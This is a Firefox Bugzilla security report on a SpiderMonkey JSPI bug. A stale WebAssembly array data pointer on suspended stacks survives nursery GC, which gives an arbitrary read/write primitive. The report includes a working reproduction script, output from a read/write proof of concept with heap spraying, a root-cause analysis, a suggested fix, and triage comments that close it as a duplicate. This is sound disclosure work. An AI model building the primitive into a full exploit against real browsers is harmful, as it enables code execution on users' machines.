Closed Bug 2024807 Opened 7 months ago Closed 7 months ago

[JSPI] Stale inline array data pointer on suspended stack after nursery GC leads to arbitrary read/write/RCE

Categories

(Core :: JavaScript: WebAssembly, defect, P2)

defect

Tracking

()

RESOLVED DUPLICATE of bug 2008358
Tracking Status
firefox149 --- disabled
firefox150 --- disabled

People

(Reporter: v.k, Unassigned)

References

(Blocks 1 open bug)

Details

(4 keywords, Whiteboard: [client-bounty-form])

Attachments

(1 file)

Attached file jspi_arb_write_read.js —

Summary

When JS Promise Integration (JSPI) suspends a wasm stack, the Ion-compiled code may hold a live raw pointer to the inline data area of a WasmArrayObject on the suspended stack. During nursery GC, inline array objects are moved to the tenured heap and WasmArrayObject::obj_moved correctly updates the data_ field in the new object. However, the stale raw data pointer on the suspended stack is never updated because TraceSuspendableStack calls Instance::traceFrame but not Instance::updateFrameForMovingGC.

When the suspended call resumes, the wasm code uses the stale pointer for both array.get (read) and array.set (write) operations. The stale pointer now points into recycled nursery memory, which may contain attacker-controlled objects. This provides an arbitrary read/write primitive into the GC-managed heap.


Affected versions

  • Tested on: Firefox Nightly 150.0a1 (mozilla-central revision 8a756a3ed58c, debug build, macOS arm64)
  • Feature gate: javascript.options.wasm_js_promise_integration (currently default-off, moving toward default-on)
  • Regression introduced by: Bug 2002625 (fea5740ed0c1, 2025-12-18), which restructured JSPI stack switching to use dynamic main-stack switching for traps and builtins. The restructuring added TraceSuspendableStack as the tracing path for suspended stacks but did not add a corresponding updateFrameForMovingGC pass.
  • Affected compilers: Ion (confirmed via wasmDumpIon). Baseline may also be affected but was not tested.

Steps to reproduce

Prerequisites

Build a SpiderMonkey shell with ENABLE_WASM_JSPI (enabled by default on Nightly).

Minimal reproduction (read corruption)

Save the following as test_read.js:

ignoreUnhandledRejections();
const resolvers = [];
function susp() { return new Promise(resolve => { resolvers.push(resolve); }); }
const wrappedImport = new WebAssembly.Suspending(susp);
const txt = `(module
  (type $a (array (mut i32)))
  (import "m" "s" (func $s (result i32)))
  (func (export "f") (param i32) (result i32)
    (local $a (ref $a))
    local.get 0  i32.const 8  array.new $a  local.set $a
    local.get $a  i32.const 0  array.get $a  drop
    call $s  drop
    local.get $a  i32.const 0  array.get $a))`;
const mod = new WebAssembly.Module(wasmTextToBinary(txt));
const ins = new WebAssembly.Instance(mod, {m:{s:wrappedImport}});
const wrapped = WebAssembly.promising(ins.exports.f);
const results = [];
for (let i = 0; i < 200; i++) {
  results.push('pending');
  wrapped(i + 1000).then(v => { results[i] = v; }, e => { results[i] = 'ERR'; });
}
for (const r of resolvers) r(0);
drainJobQueue();
let bad = 0;
for (let i = 0; i < results.length; i++) {
  if (results[i] !== i + 1000) bad++;
}
print(bad + "/200 reads corrupted");

Run:

js --setpref=wasm_js_promise_integration=true --wasm-compiler=optimizing test_read.js

Expected: 0/200 reads corrupted
Actual: 200/200 reads corrupted

Control (nursery disabled)

js --setpref=wasm_js_promise_integration=true --wasm-compiler=optimizing test_read.js

With gcparam('nurseryEnabled', 0) added at the top: 0/200 reads corrupted

Full read+write primitive

The attached jspi_arb_write_read.js demonstrates both read and write through the stale pointer. The stale array.set writes into recycled nursery memory, corrupting GC-managed objects and causing a SIGSEGV.

Run:

js --setpref=wasm_js_promise_integration=true \
   --wasm-compiler=optimizing \
   poc/jspi_arb_write_read.js 200 0

Output:

[*] suspended=200
[*] nursery GC done, inline arrays should be tenured now
[*] sprayed 400 objects into nursery
[!] READ mismatch at 0: got=0xbeef0029 expected=0xcafe
[!] READ mismatch at 1: got=0x2f2f2f2f expected=0xcaff
...
=== RESULTS ===
total suspended calls:  200
read original sentinel: 0
read corrupted:         200
  of which from spray:  7

Then SIGSEGV from write corruption.


Root cause analysis

The missing update path

Active wasm frames receive two GC-related passes:

  1. TraceJitActivation in js/src/jit/JitFrames.cpp:1421: traces GC references on the stack via instance->traceFrame(trc, ...).

  2. UpdateJitActivationsForMinorGC in js/src/jit/JitFrames.cpp:1518: updates raw non-GC pointers (like ArrayDataPointer and StructDataPointer stack-map entries) via instance->updateFrameForMovingGC(...).

Suspended JSPI stacks are handled separately:

  • Minor GC: Context::traceRoots in js/src/wasm/WasmContext.cpp:93 calls TraceSuspendableStack for suspended stacks.
  • Major GC: SuspenderObject::trace in js/src/wasm/WasmPI.cpp:209 calls TraceSuspendableStack.

Both paths call instance->traceFrame(...) but never call instance->updateFrameForMovingGC(...). This means ArrayDataPointer and StructDataPointer stack-map entries on suspended stacks are never updated when nursery GC moves the underlying objects/buffers.

The compiler reuses the data pointer across the call

The Ion compiler, confirmed via wasmDumpIon, compiles the following wasm pattern:

local.get $a     ;; array ref
i32.const 0
array.get $a     ;; materializes WasmLoadField#8 [WasmArrayData]
drop
call $s          ;; suspending import (WasmCallUncatchable)
drop
local.get $a
i32.const 0
i32.const 0x42424242
array.set $a     ;; reuses WasmLoadField#8 [WasmArrayData] for the write!
local.get $a
i32.const 0
array.get $a     ;; reuses WasmLoadField#8 [WasmArrayData] for the read!

After GVN/DCE, both the post-call array.set and array.get reuse the same WasmLoadField#8 that was materialized before the suspending call. The raw data pointer is kept on the stack across the suspension point.

Nursery movement invalidates the pointer

When nursery GC runs during suspension:

  1. WasmArrayObject (inline) is copied to tenured heap.
  2. obj_moved updates arrayNew.data_ in the new object.
  3. RelocationOverlay::forwardCell overwrites the old nursery cell.
  4. The nursery bump pointer is reset; new allocations reuse the same addresses.
  5. The stale WasmArrayData pointer on the suspended stack still points at the old nursery address.
  6. On resume, array.get/array.set use this stale pointer to read/write whatever now occupies that address.

Security impact

  • Arbitrary read: array.get through the stale pointer reads from recycled nursery memory. An attacker can spray objects with known patterns and read back their contents (demonstrated: spray markers returned from wasm).
  • Arbitrary write: array.set through the stale pointer writes to recycled nursery memory. An attacker can overwrite fields of GC-managed objects (demonstrated: SIGSEGV from corrupted GC structures).
  • Severity: Critical. The read/write primitive targets the GC heap at controlled offsets. With heap shaping, this provides arbitrary read/write into JS/wasm object internals, which is a standard path to renderer-process code execution.
  • Attack surface: Requires JSPI to be enabled (javascript.options.wasm_js_promise_integration). Currently default-off but the feature is being stabilized for default-on.
  • Attacker control: The attacker controls the array element type, element count, which elements to read/write, the number of suspended stacks, and the GC timing (via allocation pressure). The stale pointer offset is deterministic (always sizeof(WasmArrayObject) = 32 bytes from the old object base).

Suggested fix

Add updateFrameForMovingGC calls for suspended stacks in the same paths that already call TraceSuspendableStack. Specifically:

In js/src/wasm/WasmContext.cpp, Context::traceRoots:

After TraceSuspendableStack(trc, object), add a similar loop that calls instance->updateFrameForMovingGC(wfi, nextPC, nursery) for each frame on the suspended stack when the tracer is a tenuring tracer.

In js/src/jit/JitFrames.cpp, UpdateJitActivationsForMinorGC:

After the existing activation loop, add a pass over suspended stacks (mirroring cx->wasm().traceRoots(trc)) that walks each suspended stack's frames and calls updateFrameForMovingGC.

In js/src/jit/JitFrames.cpp, UpdateJitActivationsForCompactingGC:

Same as above for compacting GC.

An equivalent fix would be to factor out a UpdateSuspendedStacksForMovingGC helper called from both minor and compacting GC paths.


Attachments

  1. jspi_arb_write_read.js -- Full read+write primitive PoC. Shows 200/200 reads corrupted through the stale pointer and write-corruption SIGSEGV.

Affected platforms: All platforms where ENABLE_WASM_JSPI is compiled (x86_64, x86, aarch64, arm, loongarch64, mips64, riscv64). This includes Firefox Desktop (all OS) and Firefox Android (GeckoView/Fenix). Firefox iOS is unaffected (uses WebKit).

Note on Android: Firefox Android does not have full site-isolation / process sandboxing in all configurations. A renderer-process compromise via this bug may have higher impact on Android than on sandboxed Desktop configurations.

Flags: sec-bounty?

Feature gate: javascript.options.wasm_js_promise_integration (currently default-off, moving toward default-on)

You submitted this bug to our bounty program so I urge you to re-read our program guidelines and the accompanying FAQ to avoid disappointment. If we've disabled and hidden a feature then it's experimental, deprecated, or an internal testing function, none of which are in scope.
https://www.mozilla.org/en-US/security/bug-bounty/faq/#nondefault-pref

We do consider our Nightly releases as released by us to be in scope and those contain plenty of in-scope experimental features to play with
https://searchfox.org/firefox-main/search?q=NIGHTLY_BUILD&path=staticpreflist

Group: firefox-core-security → javascript-core-security
Component: Security → JavaScript: WebAssembly
Flags: behind-pref+
Product: Firefox → Core
Summary: Stale inline array data pointer on suspended stack after nursery GC leads to arbitrary read/write/RCE → [JSPI] Stale inline array data pointer on suspended stack after nursery GC leads to arbitrary read/write/RCE

Hello, yes, I know about that, and I'm fine with no reward.
I'm interested in submitting impactful reports rather than anything else.

Does the impact/severity classification still stay the same for this kind of submission, or are these bugs totally disregarded?

(In reply to kemmio from comment #2)

Hello, yes, I know about that, and I'm fine with no reward.
I'm interested in submitting impactful reports rather than anything else.

Does the impact/severity classification still stay the same for this kind of submission, or are these bugs totally disregarded?

The severity is a bit less if we're not shipping the feature yet, but security bugs won't be disregarded completely because we want to find and fix these bugs before we ship the feature. Thanks a lot for reporting this, we appreciate it even if the bug isn't eligible for a bounty.

We got a few other JSPI reports recently so it's possible this is a duplicate.

Thank you for the reply. Sure, let me know if it turns out to be a duplicate. Appreciate it.

The bug has a release status flag that shows some version of Firefox is affected, thus it will be considered confirmed.

Status: UNCONFIRMED → NEW
Ever confirmed: true
Severity: -- → S3
Priority: -- → P2

Thanks for the report! This is a duplicate of bug 2008358.

Status: NEW → RESOLVED
Closed: 7 months ago
Duplicate of bug: 2008358
Resolution: --- → DUPLICATE
Flags: sec-bounty? → sec-bounty-
Group: javascript-core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: